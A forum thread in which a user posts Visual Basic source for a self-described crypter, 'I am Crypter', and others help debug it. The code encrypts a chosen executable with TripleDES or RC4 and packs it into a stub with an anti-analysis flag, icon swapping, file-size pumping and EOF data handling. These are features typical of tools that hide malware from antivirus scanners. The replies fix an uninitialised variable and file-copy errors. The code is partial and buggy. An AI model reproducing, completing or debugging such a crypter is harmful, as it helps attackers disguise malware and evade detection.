Help with "I am Crypter"

So, I was on here yesterday and someone told me they could help me with my code if i posted it on the forum. The code is below and if anyone wants to help me I would be very thankful it.
The warning I receive:

Warning 1 Variable 'Buf' is used before it has been assigned a value. A null reference exception could result at runtime. I:\Users\noah\Desktop\I am Crypter\I am Crypter\Form1.vb 202 19 I am Crypter

Code:

---

Imports System.IO, System.Text

Public Class Form1
    Dim ifile, res, enctype, antis, processZ, cfile, bfile, b1file As String
    Dim output As String = Application.StartupPath + "\Done.exe"
    Dim Buts As String = Application.StartupPath + "\Buts.exe"
    Dim TheEOF As String


    Private Sub IconBrowse_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles IconBrowse.Click
        With ofd
            .FileName = ""
            .Filter = "Icons(*.ico)|*.ico"
            .ShowDialog()
            IconPath.Text = .FileName
        End With
    End Sub

    Public Function RandomNmbr(ByVal min As Integer, ByVal max As Integer) As Integer
        Dim random As New Random()
        Return random.Next(min, max)
    End Function

    Public Function RandomStrng(ByVal size As Integer, ByVal lowerCase As Boolean) As String
        Dim builder As New StringBuilder()
        Dim random As New Random()
        Dim ch As Char
        Dim i As Integer
        For i = 0 To size - 1
            ch = Convert.ToChar(Convert.ToInt32((26 * random.NextDouble() + 65)))
            builder.Append(ch)
        Next i
        If lowerCase Then
            Return builder.ToString().ToLower()
        End If
        Return builder.ToString()
    End Function

    Public Function GetRndm() As String
        Dim builder As New StringBuilder()
        builder.Append(RandomString(4, True))
        builder.Append(RandomNumber(1000, 9999))
        builder.Append(RandomString(2, False))
        Return builder.ToString()
    End Function

    Public Function App_Path() As String
        Return System.AppDomain.CurrentDomain.BaseDirectory()
    End Function


    Private Sub IconIt(ByVal SourceIcon As String)
        Shell(App_Path() & "res\\res.exe -addoverwrite " & Buts & ", " & Buts & ", " & SourceIcon & ", " & "icongroup, 1,0")
    End Sub

    Private Sub cit()
        Dim key As String = EncryptionKey.Text
        Dim Cut As String = "/Assembly/"
        'get Buts
        FileOpen(1, Buts, OpenMode.Binary)
        res = Space(LOF(1))
        FileGet(1, res)
        FileClose(1)

        'get file to crypt
        FileOpen(1, (FilePath.Text), OpenMode.Binary)
        ifile = Space(LOF(1))
        FileGet(1, ifile)
        FileClose(1)


        cfile = ifile
        If TDES.Checked Then
            enctype = "TripleDESEncryption"
            cfile = _3des.Encrypt(ifile, key, True)
        ElseIf RC4.Checked Then
            enctype = "RC4Encryption"
            cfile = RC4Enc.RC4Enc(ifile, key)
        End If

        FileOpen(1, output, OpenMode.Binary)
        FilePut(1, Cut)
        FilePut(1, Cut)
        FilePut(1, key)
        FilePut(1, Cut)
        FilePut(1, enctype)
        FilePut(1, Cut)
        FilePut(1, antis)
        FilePut(1, Cut)
        FilePut(1, processZ)
        FilePut(1, Cut)
        FilePut(1, Cut)
        FilePut(1, Cut)
        FileClose(1)
    End Sub

    Private Sub FileBrowse_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles FileBrowse.Click
        With ofd
            .FileName = ""
            .Filter = "Executable(*.exe)|*.exe"
            .ShowDialog()
            FilePath.Text = .FileName
            ifile = FilePath.Text
        End With
    End Sub

    Private Sub Crypt_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Crypt.Click

        If File.Exists(output) Then
            Kill(output)
        End If

        File.Copy(Application.StartupPath + "\Buts.exe", Buts)

        If CheckAntis.Checked Then
            antis = "true"
        Else
            antis = "false"
        End If

        If UseIcon.Checked Then
            Call IconIt(IconPath.Text)
        End If

        Call cit()

        File.Delete(Buts)

        If Pump.Checked Then
            Dim file1 = File.OpenWrite(Application.StartupPath + "\Done.exe")
            Dim siza = file1.Seek(0, SeekOrigin.[End])
            Dim size = Convert.ToInt32(MB)
            Dim bite As Decimal = size * 1048576
            While siza < bite
                siza += 1
                file1.WriteByte(0)
            End While
            file1.Close()
        End If

        TheEOF = ReadEOFData(FilePath.Text)

        If TheEOF = Nothing Then
            MessageBox.Show("File Crypted!")
        Else
            IO.File.AppendAllText(FilePath.Text, TheEOF)
            MessageBox.Show("File Crypted With EOF!")
        End If

    End Sub

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Dim myfkey As String = GetRandom.ToString
        EncryptionKey.Text = myfkey
    End Sub

    Public Function RandomNumber(ByVal min As Integer, ByVal max As Integer) As Integer
        Dim random As New Random()
        Return random.Next(min, max)
    End Function

    Public Function RandomString(ByVal size As Integer, ByVal lowerCase As Boolean) As String
        Dim builder As New StringBuilder()
        Dim random As New Random()
        Dim ch As Char
        Dim i As Integer
        For i = 0 To size - 1
            ch = Convert.ToChar(Convert.ToInt32((26 * random.NextDouble() + 65)))
            builder.Append(ch)
        Next i
        If lowerCase Then
            Return builder.ToString().ToLower()
        End If
        Return builder.ToString()
    End Function

    Public Function GetRandom() As String
        Dim builder As New StringBuilder()
        builder.Append(RandomString(4, True))
        builder.Append(RandomNumber(1000, 9999))
        builder.Append(RandomString(2, False))
        Return builder.ToString()
    End Function

    Public Function ReadEOFData(ByRef FilePath As String) As String
        Dim EOFBuf As String
        Dim lPos As Integer
        If Dir(FilePath) = "" Then
        End If
        Dim ReadFile As String = IO.File.ReadAllText(FilePath)
        lPos = InStr(1, StrReverse(ReadFile), GetNullBytes(30))
        EOFBuf = (Mid(StrReverse(ReadFile), 1, lPos - 1))
        ReadEOFData = StrReverse(EOFBuf)
        If ReadEOFData = "" Then
        End If
        Exit Function
    End Function
    Public Function GetNullBytes(ByRef lNum As Object) As String
        Dim Buf As String
        Dim i As Short
        For i = 1 To lNum
            Buf = Buf & Chr(0)
        Next
        GetNullBytes = Buf
    End Function

End Class

---

Try this.

vb Code:

Public Function GetNullBytes(ByRef lNum As Object) As String
       Dim Buf As String = "" 
        Dim i As Short
        For i = 1 To lNum
            Buf = Buf & Chr(0)
        Next
        GetNullBytes = Buf
    End Function

that helped, but I'm now getting another error

Code:

---

See the end of this message for details on invoking
just-in-time (JIT) debugging instead of this dialog box.

************** Exception Text **************
System.IO.IOException: The file 'I:\Users\noah\Desktop\Buts.exe' already exists.
  at System.IO.__Error.WinIOError(Int32 errorCode, String maybeFullPath)
  at System.IO.File.InternalCopy(String sourceFileName, String destFileName, Boolean overwrite)
  at I_am_Crypter.Form1.Crypt_Click(Object sender, EventArgs e)
  at System.Windows.Forms.Control.OnClick(EventArgs e)
  at System.Windows.Forms.Button.OnClick(EventArgs e)
  at System.Windows.Forms.Button.OnMouseUp(MouseEventArgs mevent)
  at System.Windows.Forms.Control.WmMouseUp(Message& m, MouseButtons button, Int32 clicks)
  at System.Windows.Forms.Control.WndProc(Message& m)
  at System.Windows.Forms.ButtonBase.WndProc(Message& m)
  at System.Windows.Forms.Button.WndProc(Message& m)
  at System.Windows.Forms.Control.ControlNativeWindow.OnMessage(Message& m)
  at System.Windows.Forms.Control.ControlNativeWindow.WndProc(Message& m)
  at System.Windows.Forms.NativeWindow.Callback(IntPtr hWnd, Int32 msg, IntPtr wparam, IntPtr lparam)


************** Loaded Assemblies **************
mscorlib
    Assembly Version: 2.0.0.0
    Win32 Version: 2.0.50727.4961 (win7RTMGDR.050727-4900)
    CodeBase: file:///I:/Windows/Microsoft.NET/Framework/v2.0.50727/mscorlib.dll
----------------------------------------
I am Crypter
    Assembly Version: 1.0.0.0
    Win32 Version: 1.0.0.0
    CodeBase: file:///I:/Users/noah/Desktop/I%20am%20Crypter.exe
----------------------------------------
Microsoft.VisualBasic
    Assembly Version: 8.0.0.0
    Win32 Version: 8.0.50727.4927 (NetFXspW7.050727-4900)
    CodeBase: file:///I:/Windows/assembly/GAC_MSIL/Microsoft.VisualBasic/8.0.0.0__b03f5f7f11d50a3a/Microsoft.VisualBasic.dll
----------------------------------------
System
    Assembly Version: 2.0.0.0
    Win32 Version: 2.0.50727.4962 (win7RTMGDR.050727-4900)
    CodeBase: file:///I:/Windows/assembly/GAC_MSIL/System/2.0.0.0__b77a5c561934e089/System.dll
----------------------------------------
System.Windows.Forms
    Assembly Version: 2.0.0.0
    Win32 Version: 2.0.50727.4961 (win7RTMGDR.050727-4900)
    CodeBase: file:///I:/Windows/assembly/GAC_MSIL/System.Windows.Forms/2.0.0.0__b77a5c561934e089/System.Windows.Forms.dll
----------------------------------------
System.Drawing
    Assembly Version: 2.0.0.0
    Win32 Version: 2.0.50727.4927 (NetFXspW7.050727-4900)
    CodeBase: file:///I:/Windows/assembly/GAC_MSIL/System.Drawing/2.0.0.0__b03f5f7f11d50a3a/System.Drawing.dll
----------------------------------------
System.Runtime.Remoting
    Assembly Version: 2.0.0.0
    Win32 Version: 2.0.50727.4927 (NetFXspW7.050727-4900)
    CodeBase: file:///I:/Windows/assembly/GAC_MSIL/System.Runtime.Remoting/2.0.0.0__b77a5c561934e089/System.Runtime.Remoting.dll
----------------------------------------

************** JIT Debugging **************
To enable just-in-time (JIT) debugging, the .config file for this
application or computer (machine.config) must have the
jitDebugging value set in the system.windows.forms section.
The application must also be compiled with debugging
enabled.

For example:

<configuration>
    <system.windows.forms jitDebugging="true" />
</configuration>

When JIT debugging is enabled, any unhandled exception
will be sent to the JIT debugger registered on the computer
rather than be handled by this dialog box.

---

Code:

---

See the end of this message for details on invoking
just-in-time (JIT) debugging instead of this dialog box.

************** Exception Text **************
System.IO.FileNotFoundException: Could not find file 'I:\Users\noah\Desktop\Buts.exe'.
File name: 'I:\Users\noah\Desktop\Buts.exe'
  at System.IO.__Error.WinIOError(Int32 errorCode, String maybeFullPath)
  at System.IO.File.InternalCopy(String sourceFileName, String destFileName, Boolean overwrite)
  at I_am_Crypter.Form1.Crypt_Click(Object sender, EventArgs e)
  at System.Windows.Forms.Control.OnClick(EventArgs e)
  at System.Windows.Forms.Button.OnClick(EventArgs e)
  at System.Windows.Forms.Button.OnMouseUp(MouseEventArgs mevent)
  at System.Windows.Forms.Control.WmMouseUp(Message& m, MouseButtons button, Int32 clicks)
  at System.Windows.Forms.Control.WndProc(Message& m)
  at System.Windows.Forms.ButtonBase.WndProc(Message& m)
  at System.Windows.Forms.Button.WndProc(Message& m)
  at System.Windows.Forms.Control.ControlNativeWindow.OnMessage(Message& m)
  at System.Windows.Forms.Control.ControlNativeWindow.WndProc(Message& m)
  at System.Windows.Forms.NativeWindow.Callback(IntPtr hWnd, Int32 msg, IntPtr wparam, IntPtr lparam)


************** Loaded Assemblies **************
mscorlib
    Assembly Version: 2.0.0.0
    Win32 Version: 2.0.50727.4961 (win7RTMGDR.050727-4900)
    CodeBase: file:///I:/Windows/Microsoft.NET/Framework/v2.0.50727/mscorlib.dll
----------------------------------------
I am Crypter
    Assembly Version: 1.0.0.0
    Win32 Version: 1.0.0.0
    CodeBase: file:///I:/Users/noah/Desktop/I%20am%20Crypter.exe
----------------------------------------
Microsoft.VisualBasic
    Assembly Version: 8.0.0.0
    Win32 Version: 8.0.50727.4927 (NetFXspW7.050727-4900)
    CodeBase: file:///I:/Windows/assembly/GAC_MSIL/Microsoft.VisualBasic/8.0.0.0__b03f5f7f11d50a3a/Microsoft.VisualBasic.dll
----------------------------------------
System
    Assembly Version: 2.0.0.0
    Win32 Version: 2.0.50727.4962 (win7RTMGDR.050727-4900)
    CodeBase: file:///I:/Windows/assembly/GAC_MSIL/System/2.0.0.0__b77a5c561934e089/System.dll
----------------------------------------
System.Windows.Forms
    Assembly Version: 2.0.0.0
    Win32 Version: 2.0.50727.4961 (win7RTMGDR.050727-4900)
    CodeBase: file:///I:/Windows/assembly/GAC_MSIL/System.Windows.Forms/2.0.0.0__b77a5c561934e089/System.Windows.Forms.dll
----------------------------------------
System.Drawing
    Assembly Version: 2.0.0.0
    Win32 Version: 2.0.50727.4927 (NetFXspW7.050727-4900)
    CodeBase: file:///I:/Windows/assembly/GAC_MSIL/System.Drawing/2.0.0.0__b03f5f7f11d50a3a/System.Drawing.dll
----------------------------------------
System.Runtime.Remoting
    Assembly Version: 2.0.0.0
    Win32 Version: 2.0.50727.4927 (NetFXspW7.050727-4900)
    CodeBase: file:///I:/Windows/assembly/GAC_MSIL/System.Runtime.Remoting/2.0.0.0__b77a5c561934e089/System.Runtime.Remoting.dll
----------------------------------------

************** JIT Debugging **************
To enable just-in-time (JIT) debugging, the .config file for this
application or computer (machine.config) must have the
jitDebugging value set in the system.windows.forms section.
The application must also be compiled with debugging
enabled.

For example:

<configuration>
    <system.windows.forms jitDebugging="true" />
</configuration>

When JIT debugging is enabled, any unhandled exception
will be sent to the JIT debugger registered on the computer
rather than be handled by this dialog box.

---

which line fire up the error ?

I get the error after compiling the data

Code:

---

System.IO.FileNotFoundException: Could not find file 'I:\Users\noah\Desktop\Buts.exe'.

---

There is your problem

Quote:

---

Originally Posted by BlindSniper

Code:

---

System.IO.FileNotFoundException: Could not find file 'I:\Users\noah\Desktop\Buts.exe'.

---

There is your problem

---

In the first code block it says buts already exist. There are two errors.

Code:

---

Public Class Form1
    Dim ifile, res, enctype, antis, processZ, cfile, bfile, b1file As String
    Dim output As String = Application.StartupPath + "\Done.exe"
    Dim Buts As String = Application.StartupPath + "\Buts.exe"    '<--- variable Buts
    Dim TheEOF As String

'''
'''

    Private Sub Crypt_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Crypt.Click

        If File.Exists(output) Then
            Kill(output)
        End If

        File.Copy(Application.StartupPath + "\Buts.exe", Buts) '<--- variable Buts

'''
'''

End Class

---

I'm guessing you compiled the project, copied the .exe to the Desktop along with the file Buts.exe.
Then when you ran the app and clicked on your Crypt button you got the first error?

If so, you're trying to copy a file onto itself and getting a File Already Exists error.

Then you deleted the Buts.exe file from the Desktop and ran the Application's .exe again?
That would give the second error: File Not Found error.

Yep. You are correct